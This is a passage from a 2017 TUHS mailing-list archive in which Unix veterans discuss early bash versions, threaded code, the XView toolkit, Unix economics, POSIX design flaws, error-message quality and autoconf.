References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <CACwAiQnNufzr9V4N+Rp3wT+sHToaRNnFVK-imeAeuk3P-S7ScQ@mail.gmail.com>
 <d3a98a5f-20e8-af95-629d-4f02ea4cef03@case.edu>
Message-ID: <CACwAiQn8fco3KWaSWNOgEp=XGdVp-RbLD52y4NK4q-bOwCyK8w@mail.gmail.com>

On Thu, Sep 14, 2017 at 2:50 PM, Chet Ramey <chet.ramey at case.edu> wrote:

> On 9/14/17 8:13 AM, Rico Pajarola wrote:
>
> > True, I'm amazed every time I try a really old version of some old GNU
> > software like bash 1.0 on a contemporary (but unusual) OS. No errors, no
> > warnings, nothing to fix-up manually. It just works.
>
> If you have a version of bash-1.0, send it my way. We weren't quite as
> careful with preserving milestone software versions in those days.
>
it wasn't *exactly* 1.0

The oldest version I can find with by running "locate bash-1.0" on my
datagrave is version 1.05.

Do you keep an archive of old software somewhere? I spend a lot of time
hunting down old versions of 90'ies era software, but it's becoming
increasingly frustrating due to ftp services being turned down, especially
at universities.



> --
> ``The lyf so short, the craft so long to lerne.'' - Chaucer
>                  ``Ars longa, vita brevis'' - Hippocrates
> Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~
> chet/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/bec7c4a3/attachment.html>

From jnc at mercury.lcs.mit.edu  Thu Sep 14 23:39:13 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Thu, 14 Sep 2017 09:39:13 -0400 (EDT)
Subject: [TUHS] B Source Code
Message-ID: <20170914133913.178D618C094@mercury.lcs.mit.edu>

    > From: Alec Muffett

    > "threaded code" in the old sense could be smaller than the equivalent
    > CISC binary on the same machine

One can think of 'threaded code' as code for a new virtual machine, one
specialized to the task at hand.

    > https://en.m.wikipedia.org/wiki/Threaded_code

For those who really want to delve in some depth, see the chapter "Turning
Cousins into Sisters" (Chapter 15, pg. 365) in "Computer Engineering: A DEC
View of Hardware Systems Design", by Bell, Mudge and McNamara.

Interesting factoid: The PDP-11 initially used a threaded FORTRAN
implementation. In line with the observation above (about a new virtual
machine), DEC actually looked into writing microcode for the -11/60 (which had
a writeable control store) to implement the FORTRAN virtual machine.

	Noel


From crossd at gmail.com  Fri Sep 15 00:24:08 2017
From: crossd at gmail.com (Dan Cross)
Date: Thu, 14 Sep 2017 10:24:08 -0400
Subject: [TUHS] B Source Code
In-Reply-To: <20170914133913.178D618C094@mercury.lcs.mit.edu>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
Message-ID: <CAEoi9W5YqDSSGiYmTHcwkSyMp0CJF94TcXtApETfH9Z6CJTgoQ@mail.gmail.com>

On Thu, Sep 14, 2017 at 9:39 AM, Noel Chiappa <jnc at mercury.lcs.mit.edu> wrote:
>     > From: Alec Muffett
>
>     > "threaded code" in the old sense could be smaller than the equivalent
>     > CISC binary on the same machine
>
> One can think of 'threaded code' as code for a new virtual machine, one
> specialized to the task at hand.
>
>     > https://en.m.wikipedia.org/wiki/Threaded_code
>
> For those who really want to delve in some depth, see the chapter "Turning
> Cousins into Sisters" (Chapter 15, pg. 365) in "Computer Engineering: A DEC
> View of Hardware Systems Design", by Bell, Mudge and McNamara.

Huh. I happened to have that book on my shelf here at work and it's a great
description. That chapter cites a CACM paper from June 1973; citation here:
http://dl.acm.org/citation.cfm?id=362270

The paper is short; only 4 or so pages.

Now I'm confused about the timeline: I thought B was obsolete by this time
and that C was on the rise. Was the term "threaded code" in use earlier? Ah,
I see a note at the bottom of the paper that it was received in June, 1971 and
revised in December 1972, but not published until June 1973 (2 years after
initial submission). Given that the technique is described in the context of a
FORTRAN IV compiler for the PDP-11 that must have been in existence at
the time it was submitted in 1971, it seems reasonable to believe that the
technique was known in advance.

        - Dan C.


From chet.ramey at case.edu  Fri Sep 15 00:30:35 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 14 Sep 2017 10:30:35 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CACwAiQn8fco3KWaSWNOgEp=XGdVp-RbLD52y4NK4q-bOwCyK8w@mail.gmail.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <CACwAiQnNufzr9V4N+Rp3wT+sHToaRNnFVK-imeAeuk3P-S7ScQ@mail.gmail.com>
 <d3a98a5f-20e8-af95-629d-4f02ea4cef03@case.edu>
 <CACwAiQn8fco3KWaSWNOgEp=XGdVp-RbLD52y4NK4q-bOwCyK8w@mail.gmail.com>
Message-ID: <edd5f442-a4b1-6fcb-8cfe-1915eb719d0c@case.edu>

On 9/14/17 9:27 AM, Rico Pajarola wrote:

>     If you have a version of bash-1.0, send it my way. We weren't quite as
>     careful with preserving milestone software versions in those days.
> 
> it wasn't *exactly* 1.0 
> 
> The oldest version I can find with by running "locate bash-1.0" on my
> datagrave is version 1.05.

I have 1.05; it's the oldest version I have ever found.

> Do you keep an archive of old software somewhere? I spend a lot of time
> hunting down old versions of 90'ies era software, but it's becoming
> increasingly frustrating due to ftp services being turned down, especially
> at universities.

I'm only interested in old versions of bash, sorry. I don't really keep an
extensive collection of old software available (though I believe I have the
only ftp-available version of the original ash sources).

Chet

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From imp at bsdimp.com  Fri Sep 15 01:12:31 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 14 Sep 2017 09:12:31 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <20170914123041.B4F851525F0F@macaroni.inf.ed.ac.uk>
References: <20170914123041.B4F851525F0F@macaroni.inf.ed.ac.uk>
Message-ID: <CANCZdfoWCFTBKUa2KODkhnDT28C_Lxu-z-mCnH8nQZFcTTGL8A@mail.gmail.com>

On Thu, Sep 14, 2017 at 6:30 AM, Richard Tobin <richard at inf.ed.ac.uk> wrote:

> > I really kind of liked that toolkit, it was all key/value like so:
> >
> >         panel = xv_create(
> >           frame, PANEL,
> >             XV_WIDTH, WIDTH,
> >           XV_HEIGHT, 30,
> >             PANEL_LAYOUT, PANEL_HORIZONTAL,
> >             XV_SHOW, FALSE,
> >           NULL);
> >
> > So the order of the args didn't really matter, I think the first one
> > maybe did because that was the parent but not sure, the rest could
> > be any order you wanted.  Pretty simple.
>
> The first two were fixed; the prototype was
>
>   Xv_object xv_create (Xv_opaque owner, Xv_pkg *pkg, ...);
>
> The keywords (XV_WIDTH etc) contained a bitfield encoding the type and
> cardinality of the value argument(s) so that the argument list could
> be traversed without knowing every package's keywords.
>
> Using NULL as the terminating argument looks unportable.


It turned out to be portable enough. And no worse than calloc dependencies
in the base X11 library (which assumes that the address used when the
integer 0 is assigned to a pointer has no bits set). The only other
assumption was that pointers and ints were passed the same way, and that
whatever NULL expanded to was at least as long as an int.

So, yes this wouldn't work on a system whose null-pointer representation
contained bits set, but that was already an assumption of X11...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/122f19dc/attachment.html>

From clemc at ccc.com  Fri Sep 15 01:15:55 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 14 Sep 2017 11:15:55 -0400
Subject: [TUHS] UNIX: An Application Delivery Vehicle vs. SW Development
	Platform
Message-ID: <CAC20D2M1WnPfAAfGXiZoRqWz6ZHcmVSJVTzwaM5Lu9rLxwajGw@mail.gmail.com>

I been watching and thinking a bit about this exchange particularly, since
I had a paper accepted in "Unix in Europe: between innovation, diffusion
and heritage" Symposium which  touches on this topic.   I think it is
really gets to the core of the problem that UNIX was caught with and I
certainly did not understand at the time.

The issue here is were are all technologist and as such, we think in terms
of the technology and often forget that its the economics that is the long
pole in the tent.  *Simply, computers are purchased as a tool to help to
solve problems for people*.  And the question remains who controls the
money being spend.

*UNIX was written originally by a group of people for themselves.*  The
problem that they were solving, *was how to build better programs and
systems for those programs*. Vendors, particularly hardware centric
vendors, really only care that you buy their (HW) product which is where
they make their money.   As it turns out applications software vendors,
don't care about operating systems - as we used to say Larry Ellison never
cared for VMS, UNIX, Solaris, or MVS, he cared how many copies of Oracle's
DB he sold.

So UNIX comes on the scene and strange thing happens.   First AT&T is
required by 1956 consent decree to make the IP available, they have
processes and procedures to do so, so they do.  So in the 70s certainly,
when the HW delivery platform for UNIX is a DEC, the people that want it
are the same type of people that it was originally written -- programmers.

UNIX is a hit.... by the 80s and 90s, now we have two different group of
peoples working with UNIX.   As Steve and Larry point out, those same type
of developers that originally had used UNIX in the first place [which was
cool... I'm one of them too].    The problem was the economics started
getting driven by a different group, the people that did not care - it was
purely a means to get a job done (we the programmers lost control of the
tiger in return for a lot of money to start to develop the systems).

As Larry pointed, most of the care takers of the second class of UNIX
customer, did not give a hoot about the programmers or many of the 'norms'
from the previous world.   Sun, Masscomp and eventually DEC did make SunOS,
RTU, and Ultrix sources available to university customers (IBM may have
also I'm not sure), but the hoops to get it could be painful; because they
did not really understand that customer base as Steve pointed out (which
turns out to have been an undoing).

But that was the issue.   Sun was able too see that trying to help the
programmer was a good thing, but in the end, they could not sustain it
either.  In the end, they got sucked in the same economics of cutting at
deal with AT&T to create Solaris SVR4 etc.   Opposed Sun Forever, might
have made it if they had actually make OSF 'Open Source' but they were too
caught in fighting with each other.   Imagine if the Mach based OSF1/386
has been released, which was running before Linux with a window manager and
you had IBM, DEC, HP, et al working to make it 'FOSS' - how different the
world might have been.

But that would have gotten back to my point...  they made their money
selling an application delivery vehicle.  They had liked to the control it,
because it was easy to keep the customer if they did, but in the end, they
really did not care.

Now they have seeded the field to Linux and just left the OS to the SW
developers and fallen back to what they really care about.   A place to run
applications.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/0f98254e/attachment.html>

From itz at very.loosely.org  Fri Sep 15 02:11:21 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 14 Sep 2017 09:11:21 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
Message-ID: <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>

On 2017-09-14 09:22, Dave Horsfall wrote:

> > He continues to be missed.
> 
> And I just wish that the Penguin/OS community would realise this; if
> you believe those silly sods, you'd think that they invented Unix...

Maybe some are deluded like that.  But the more typical case (and I saw
this personally not just on "the Internet") are those who actively and
consciously disdain Unix, and want Penguin kernel based systems to move
to a completely new and different userland, free from any links to Unix
history.

And we should stop assuming they're kidding when they say so openly.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From usotsuki at buric.co  Fri Sep 15 02:15:32 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Thu, 14 Sep 2017 12:15:32 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
Message-ID: <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>

On Thu, 14 Sep 2017, Ian Zimmerman wrote:

> On 2017-09-14 09:22, Dave Horsfall wrote:
>
>>> He continues to be missed.
>>
>> And I just wish that the Penguin/OS community would realise this; if
>> you believe those silly sods, you'd think that they invented Unix...
>
> Maybe some are deluded like that.  But the more typical case (and I saw
> this personally not just on "the Internet") are those who actively and
> consciously disdain Unix, and want Penguin kernel based systems to move
> to a completely new and different userland, free from any links to Unix
> history.
>
> And we should stop assuming they're kidding when they say so openly.
>
>

Isn't that pretty much just Lennart Poettering and his fan club?

-uso.


From scj at yaccman.com  Fri Sep 15 05:37:59 2017
From: scj at yaccman.com (Steve Johnson)
Date: Thu, 14 Sep 2017 12:37:59 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>
Message-ID: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>

I'm not aware of any profanity per se in the early Unix sources, but
there certainly were some snarky error messages.   Like "eh?"   Or
"Very Funny".  I contributed a few: "gummy structure".

I've become truly PO'd at the state of error messages in today's
software.   Things like "file error" or "cannot open file" without
telling you what file was being opened.   And every encounter with
git gives me additional fodder.  The information in many of git's
error messages is roughly one bit, that is best translated with
profanity.

I wrote a paper on error messages at one point.  I had examples from
bad to best.  In a nutshell (worst to best):

	* <program aborts, leaving the world in an unknown state>
	* "internal error",  "beta table overflow", "operation failed"
	* "Writing the output file failed"
	* "File xxx could not be opened for writing."
	* "File xxx could not be opened for writing: check the file location
and permissions"

	* "Writing the output file xxx caused an error.  See <link> for
possible reasons and corrections" 

Most git messages fall between 2 and 3.  But there are occasional 4's
and 5's.

Steve

----- Original Message -----
From: "Henry Bent" <henry.r.bent at gmail.com>
To:"The Eunuchs Hysterical Society" <tuhs at tuhs.org>
Cc:
Sent:Wed, 13 Sep 2017 20:18:06 -0400
Subject:Re: [TUHS] Happy birthday, Dennis Ritchie! [ really sun vs
dec/apollo --> X and NeWS ]

Were there really that many comments that needed censoring?  It would
be nice to have the idealism to think of Sun as a freewheeling,
uncensored alternative to the corporate structure of DEC and IBM, but
having seen the "released" source for the early '90s Unix operating
systems of all three I never saw anything to indicate that there were
censored inline curses anywhere.  If anything, the DEC sources are
now more informational by virtue of still having a mostly complete
changelog in the header.

-Henry


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/ffb78d69/attachment.html>

From khm at sciops.net  Fri Sep 15 05:39:05 2017
From: khm at sciops.net (Kurt H Maier)
Date: Thu, 14 Sep 2017 12:39:05 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
Message-ID: <20170914193905.GD25914@wopr>

On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
> 
> Isn't that pretty much just Lennart Poettering and his fan club?
> 

It's right there in the name "GNU" as well.  There's a whole generation
of computer people out here for whom bash and gawk are fossilized in
their substrata, and they get mad when someone suggests maybe other
tools exist.

khm


From tytso at mit.edu  Fri Sep 15 05:30:10 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Thu, 14 Sep 2017 15:30:10 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
Message-ID: <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>

On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
> > Maybe some are deluded like that.  But the more typical case (and I saw
> > this personally not just on "the Internet") are those who actively and
> > consciously disdain Unix, and want Penguin kernel based systems to move
> > to a completely new and different userland, free from any links to Unix
> > history.
> > 
> > And we should stop assuming they're kidding when they say so openly.
> > 
> 
> Isn't that pretty much just Lennart Poettering and his fan club?

It's mostly Lennart Poettering and his fan club, but it's also
important to remember that Unix was not perfect.

For years, I've been ranting about the telldir/seekdir interface, for
which JFS has three b-trees that have to be updated for every
directory operation --- one of which was added *just* because of
telldir/seekdir.  Other file systems make other design choices or go
through other bits of hell just because of telldir/seekdir, but
assuming a 32-bit cookie which must survive potentially indefinitely,
with the readdir "will return file names exactly zero or one times"
guarantees required by POSIX, is rather hellish.

Or, say the atime update requirement, which can be a performance
killer, and for which the default on Linux violates Posix, and so I
suppose it technically isn't allowed to use the Unix trademark anyway.

I'm sure the Plan 9 folks could come up with other Unix shortcomings.  :-)

	   	       	     	     	    - Ted


From usotsuki at buric.co  Fri Sep 15 05:52:18 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Thu, 14 Sep 2017 15:52:18 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
Message-ID: <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>

On Thu, 14 Sep 2017, Theodore Ts'o wrote:

> On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
>>> Maybe some are deluded like that.  But the more typical case (and I saw
>>> this personally not just on "the Internet") are those who actively and
>>> consciously disdain Unix, and want Penguin kernel based systems to move
>>> to a completely new and different userland, free from any links to Unix
>>> history.
>>>
>>> And we should stop assuming they're kidding when they say so openly.
>>>
>>
>> Isn't that pretty much just Lennart Poettering and his fan club?
>
> It's mostly Lennart Poettering and his fan club, but it's also
> important to remember that Unix was not perfect.
>
> For years, I've been ranting about the telldir/seekdir interface, for
> which JFS has three b-trees that have to be updated for every
> directory operation --- one of which was added *just* because of
> telldir/seekdir.  Other file systems make other design choices or go
> through other bits of hell just because of telldir/seekdir, but
> assuming a 32-bit cookie which must survive potentially indefinitely,
> with the readdir "will return file names exactly zero or one times"
> guarantees required by POSIX, is rather hellish.
>
> Or, say the atime update requirement, which can be a performance
> killer, and for which the default on Linux violates Posix, and so I
> suppose it technically isn't allowed to use the Unix trademark anyway.
>
> I'm sure the Plan 9 folks could come up with other Unix shortcomings.  :-)
>
> 	   	       	     	     	    - Ted
>

I never managed to pull it off, but I tried creating a full live Linux 
environment based on musl, clang, Heirloom Toolchest and OpenBSD/NetBSD 
sources.  The idea was that I wanted to make a "Real Unix" that happened 
to have Linux as its kernel.  (It also would have run the CDE as its 
default desktop.)

One thing I did come up with was, if I were to pull it off, it would be a 
Linux distribution that rightfully could NOT be called, by any means, 
"GNU/Linux" - and some heads would explode.

(I still want to do it, but I remain at a loss as to execution.)

-uso.


From dfawcus+lists-tuhs at employees.org  Fri Sep 15 05:46:23 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Thu, 14 Sep 2017 20:46:23 +0100
Subject: [TUHS] B Source Code
In-Reply-To: <CAEoi9W5YqDSSGiYmTHcwkSyMp0CJF94TcXtApETfH9Z6CJTgoQ@mail.gmail.com>
References: <20170914133913.178D618C094@mercury.lcs.mit.edu>
 <CAEoi9W5YqDSSGiYmTHcwkSyMp0CJF94TcXtApETfH9Z6CJTgoQ@mail.gmail.com>
Message-ID: <20170914194623.GA39643@accordion.employees.org>

On Thu, Sep 14, 2017 at 10:24:08AM -0400, Dan Cross wrote:
> 
> Was the term "threaded code" in use earlier?

Forth.

Which was say 1968 - 1970 for its inception, how did it's early
versions refer to the technique?  I certainly recall it being
used as the term when I learnt about Forth (which was much later than that).

DF


From usotsuki at buric.co  Fri Sep 15 05:54:19 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Thu, 14 Sep 2017 15:54:19 -0400 (EDT)
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
Message-ID: <alpine.BSF.2.02.1709141552240.1652@frieza.hoshinet.org>

On Thu, 14 Sep 2017, Steve Johnson wrote:

> I'm not aware of any profanity per se in the early Unix sources, but
> there certainly were some snarky error messages.   Like "eh?"   Or
> "Very Funny".  I contributed a few: "gummy structure".
>
> I've become truly PO'd at the state of error messages in today's
> software.   Things like "file error" or "cannot open file" without
> telling you what file was being opened.   And every encounter with
> git gives me additional fodder.  The information in many of git's
> error messages is roughly one bit, that is best translated with
> profanity.
>
> I wrote a paper on error messages at one point.  I had examples from
> bad to best.  In a nutshell (worst to best):
>
> 	* <program aborts, leaving the world in an unknown state>
> 	* "internal error",  "beta table overflow", "operation failed"
> 	* "Writing the output file failed"
> 	* "File xxx could not be opened for writing."
> 	* "File xxx could not be opened for writing: check the file location
> and permissions"
>
> 	* "Writing the output file xxx caused an error.  See <link> for
> possible reasons and corrections" 
>
> Most git messages fall between 2 and 3.  But there are occasional 4's
> and 5's.
>
> Steve

You got perror(), use it (not you)... >_>

All my code that outputs error messages for stuff in the C library uses 
perror(), so a typical error might be "foo: cannot open file bar: No such 
file or directory", with the last part coming from the C runtime itself.

-uso.

From arnold at skeeve.com  Fri Sep 15 05:44:54 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Thu, 14 Sep 2017 13:44:54 -0600
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170914132146.KCMCk%steffen@sdaoden.eu>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
Message-ID: <201709141944.v8EJisAw010768@freefriends.org>

Definitely getting off-topic here ...

Steffen Nurpmeso <steffen at sdaoden.eu> wrote:

>  |Libtool for sure. Autoconf is something you have to come to a negotiated
>  |truce with and then it's OK. :-)
>
> I cannot seem to reach that state.  I see that the m4 directory of
> gawk v4.1.4 contains no less than 46 files with a total of 312 KB.
> On top of that the root directory contains some configure related
> files which sum up to about 500 KB.

Gawk is light-weight compared to most projects that use gnulib (e.g,
grep).  Much of what you point out is boilerplate placed there by
the autotools.  The only file(s) I, as a developer, have to mess with
are the configure.ac files.

> I do not know how much manual work was necessary for the files in
> m4,

Once it's set up, you just ignore it, and update the files whenever
there's a new autoconf / automake / gettext / libtool release.

I've been using autoconf since 1.x days, so I'm very used to it.
I also find it to be much less aggravation than CMake-based projects,
where if something craps out during the cmake run, you essentially
must wipe out the directory and re-extract the tarball to start over.

>  And when i look into the missing_d of gawk
> i cannot help to wonder what all that is for.

Much of it is probably obsolete. Some things date back to the days
when some systems had strchr() and others had index()...

> But of course, what is the alternative?

I don't see one. CMake doesn't really cut it for me.  For make
problems, port GNU Make; it's very portable, since it's one of the
base items for many GNU projects.

I know it runs on Solaris 9.

> Plan9 shows an impressive beauty regarding this topic, but it, of
> course, is exclusive to a current Plan9.

No arguments there, but unfortunately, Plan 9 is a very self-contained
sandbox.  Few of us get to live there all the time.

Arnold


From jon at fourwinds.com  Fri Sep 15 06:09:55 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Thu, 14 Sep 2017 13:09:55 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really Pottering vs UNIX ]
In-Reply-To: <20170914193905.GD25914@wopr>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
Message-ID: <201709142009.v8EK9tl5031687@darkstar.fourwinds.com>

Kurt H Maier writes:
> On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
> > 
> > Isn't that pretty much just Lennart Poettering and his fan club?
> > 
> 
> It's right there in the name "GNU" as well.  There's a whole generation
> of computer people out here for whom bash and gawk are fossilized in
> their substrata, and they get mad when someone suggests maybe other
> tools exist.
> 
> khm

Well, I'd suggest that a lot of this has to do with people who have vision
and people who don't.  When you look at UNIX, you see something created by
a bunch of very talented people who had a reasonably shared vision of what
they were trying to achieve.

I happen to be good friends with John Gilmore, and early Sun employee and
one of the founders of Cygnus Solutions which one can argue did more for
the acceptance of open source than anything else.

Whenever we get into an argument (which is really easy to do with John) over
how to do something he falls back onto "When I was a Cygnus and wrote GNU
tar..."  I always point out that implementing something that was already
defined was way easier than defining something new, and a completely different
skill set.

So I would make the claim that Pottering et. al. are not good definers, and
their model for definition comes from Microsoft which is also not a good
definer.

Along these lines, I think that the demise of UNIX began with AT&T/USL for
the reasons above.  I would much rather use UNIX Version III than UNIX
System III.

Jon


From ron at ronnatalie.com  Fri Sep 15 06:11:47 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Thu, 14 Sep 2017 16:11:47 -0400
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
References: <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>
 <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
Message-ID: <023c01d32d95$b22f2ed0$168d8c70$@ronnatalie.com>

 

Ø  I'm not aware of any profanity per se in the early Unix sources, but there certainly were some snarky error messages.   Like "eh?"   Or "Very Funny".  I contributed a few: "gummy structure".




Of which “You’re not expected to understand this” is probably the most famous.     This so incensed my mentor Mike Muuss that he figured out what the code REALLY did and wrote several paragrahs after that starting with “You are expected to understand this:”

 

The worst error system I ever encountered was a summer job I had in college.   The system I was using had a package called “reptile” that’s sole diagnostic was “Snake bite at xxxx” where xxxx was the address that the error was detected.   I had a crib sheet of what errors corresponded to what addresses, but that was rendered incorrect when the program was relinked and evertying moved.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/fb405b91/attachment.html>

From jon at fourwinds.com  Fri Sep 15 06:22:52 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Thu, 14 Sep 2017 13:22:52 -0700
Subject: [TUHS] Tools and building: libtool, autoconf,
	etc. [ trying to have a relevant subject line ]
In-Reply-To: <201709141944.v8EJisAw010768@freefriends.org>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
Message-ID: <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>

OK, not gonna splice in all of the things to which I'm responding.

I don't have much love for the libtool/autoconf/automake/etc. system.
While it works, and is better than nothing, I have always felt that
it was the wrong approach.  I am fortunate that I know some of the
folks who worked on these tools because they're part of the too complex
for casual users thing that I mentioned in my earlier post about open
source.

I worked for a startup in 1985 that produced CAD tools that needed to
run on the various workstations of the era: Daisy, Apollo, Sun, etc.

When I started at the company, they would hire a new person to do a port
whenever we needed to support a new system.  I changed that so that it
took someone at most a few hours to do a port.

